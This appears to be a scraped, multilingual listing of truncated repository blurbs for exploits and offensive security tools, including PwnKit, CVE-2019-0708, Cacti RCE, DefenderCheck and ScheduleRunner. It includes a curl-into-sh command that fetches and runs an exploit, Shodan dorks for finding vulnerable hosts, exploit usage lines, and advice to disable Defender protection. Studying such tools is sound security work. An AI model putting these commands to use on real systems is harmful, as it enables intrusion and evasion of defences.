DefenderCheck

DefenderCheck أداة سريعة للمساعدة في جعل التهرب من الاكتشاف يعمل بسهولة أكبر. تحذير: اعتبارًا من تحديث Defender الإصدار 1.337.157.0، تم تصنيف DefenderCheck على أنه VirTool:MSIL/BytzChk.C!MTB. كحل بديل لحين إيجاد حل، يُرجى تعطيل الحماية في الوقت الحقيقي في Defender قبل تجميع DefenderCheck. تأخذ...

cve-2014-4322

cve-2014-4322 CVE-2014-4322 Exploit...

CVE-2023-35078

CVE-2023-35078 Shodan 搜索语法 你可以使用以下 Shodan 搜索语法来查找公开目标。 http.favicon.hash:362091310 http.favicon.hash:545827989 path=/mifs 你可以使用以下命令将 Shodan API 返回的数据转换为适合检测脚本的格式： root@kitploit: jq -cr 'select.http.favicon.hash == 362091310 | if .ssl? then "https://" else "http://" end , .ipstr + ":" +...

CVE-2019-0708-POC

CVE-2019-0708-POC cve-2019-0708 эксплойт . Запуск теста Работает хорошо для winxp sp3. Требуется тест для win 7. Среда выполнения: win10 x64 python3 root@kitploit: PS D:\workspace\python\sqlstruct\sqlstruct\sqlstruct python3 .\poc.py -t 192.168.1.112 -p 3389 CVE-2019-0708 Remote Detection tool by...

EyeWitness

EyeWitness EyeWitness est conçu pour prendre des captures d'écran de sites web, fournir certaines informations d'en-tête du serveur et identifier les identifiants par défaut si connus. EyeWitness est conçu pour fonctionner sur Kali Linux. Il détecte automatiquement le fichier que vous lui...

ruby-RCE-CVE-2019-5420-

Désérialisation Ruby CVE-2019-5420 root@kitploit: https://github.com/PenTestical/CVE-2019-5420 Références : root@kitploit: 1 Processus de mise en œuvre du payload d'exécution de commandes Ruby on Rails https://hackerone.com/reports/473888 Étant donné que ActiveSupport::MessageVerifier et...

CVE-2016-5195

CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w preuve de concept pour Android Ce dépôt démontre la vulnérabilité sur des appareils Android vulnérables connectés via ADB. Il ne désactive pas SELinux voir https://github.com/timwr/CVE-2016-5195/issues/9 ni n'installe superuser sur l'apparei...

Network-Analysis-Tools

أداة تحليل ملفات التقاط الحزم الإصدار 1 root@kitploit: !CONTACT! | Email: [email protected] | | Github: github/azizaltuntas | | Twitter: @esccopyright | الميزات root@kitploit: 1-Top 10 Visited Sites 2-Emails 3-All Request Urls 4-User-Agents List 5-String Grep Mode 6-Connection details 7-Port...

freePW_tc7200Eploit

This repo contains a PoC iPhone app for CVE : CVE-2014-1677 exploit. The bug/hole was long enough public and a fix should hav been pushed a long time ago. Hopefully this app will make someone bother to push a fix, meanwhile, have fun with this --"...

ScheduleRunner

ScheduleRunner - أداة C توفر مرونة أكبر لتخصيص المهام المجدولة من أجل الاستمرارية والحركة الجانبية في عمليات الفريق الأحمر المهمة المجدولة هي واحدة من أكثر تقنيات الهجوم شيوعًا في العقد الماضي، ولا تزال تُستخدم بشكل شائع من قبل المخترقين/فرق الأحمر للاستمرارية والحركة الجانبية. تم تطوير عدد من...

CVE-2025-27840-WIP

CVE-2025-27840-WIP Un travail en cours pour CVE-2025-27840 Aperçu de CVE-2025-27840 CVE-2025-27840 est une vulnérabilité de gravité moyenne CVSS 6.8 affectant les puces Bluetooth ESP32 d'Espressif, intégrées dans plus d'un milliard d'appareils IoT dans le monde. Le défaut implique 29 commandes no...

unimap

Unimap قم بالمسح مرة واحدة فقط حسب عنوان IP وقلل أوقات المسح باستخدام Nmap للكميات الكبيرة من البيانات. Unimap هي اختصار لـ "Unique Nmap Scan ". الأداة تعمل على لينكس، macOS، ويندوز أو أندرويد Termux دون مشاكل. لماذا؟ إذا كنت تخطط لتشغيل Nmap على مؤسسة بأكملها، فعليك أن تضع في اعتبارك أن العشرات ...

CVE-2014-3153

Ce depot n’a pas de fichier README...

distributed-system-testing

مهارات اختبار الأنظمة الموزعة مهارتان لوكلاء الترميز بالذكاء الاصطناعي يصممان وينفذان اختبارات مدفوعة بالادعاءات للأنظمة الموزعة وذات الحالة. معًا ينتجان خطة اختبار Markdown منظمة وتقرير نتائج مع أحكام من 10 حالات وتصنيف صريح للمسؤولية SUT / harness / checker / environment. يقرأ المراجع القطعتين...

testanull-CVE-2021-26855_read_poc.txt

This repository does not have a README...

finalrun-agent

finalrun.app • Docs • Blog • Cloud Device Waitlist • Join Slack Community 팔로우하기 finalrun-agent는 자연어로 Android 및 iOS 앱을 테스트하는 AI 기반 CLI입니다. YAML에 평이한 영어 테스트를 작성하면, FinalRun이 에뮬레이터 또는 시뮬레이터에서 앱을 실행하고, AI 모델Gemini, GPT, 또는 Claude을 사용하여 화면을 인식하고 각 단계탭, 스와이프, 타이핑를 수행한 후, 비디오 및 장치 로그와 함께 합격/불합격 보고서를...

CVE-2024-29895.py

Cacti RCE - CVE-2024-29895 Usage: python3 cve-2024-29895.py -u https://target.com/ -c id Affecting Cacti versions 1.3.X on DEV builds where cmdrealtime.php is present and POLLERID is enabled. Command Injection is possible via this endpoint, by requesting via GET with payload as HTML Query...

ProtOSINT

ProtOSINT ProtOSINT هو سكريبت بلغة بايثون يساعدك في التحقق من حسابات Proton Mail. الإصدار هذا هو ProtOSINT v2. كان الإصدار الأول موجودًا منذ بضع سنوات، لكن واجهة برمجة تطبيقات Proton تغيرت وتوقفت الفحوصات القديمة عن العمل، لذا فهذه إعادة كتابة تعيد الأداة إلى الحياة. شكر كبير لـ NeutrOSINT لاستمر...

CVE-2023-25136

This repository does not have a README...

PwnKit

PwnKit استغلالية ذاتية التضمين لـ CVE-2021-4034 - تصعيد الصلاحيات المحلية عبر Pkexec الاستخدام يجب أن تعمل فورًا على توزيعات لينكس الضعيفة المبنية على Ubuntu وDebian وFedora وCentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" يدويًا...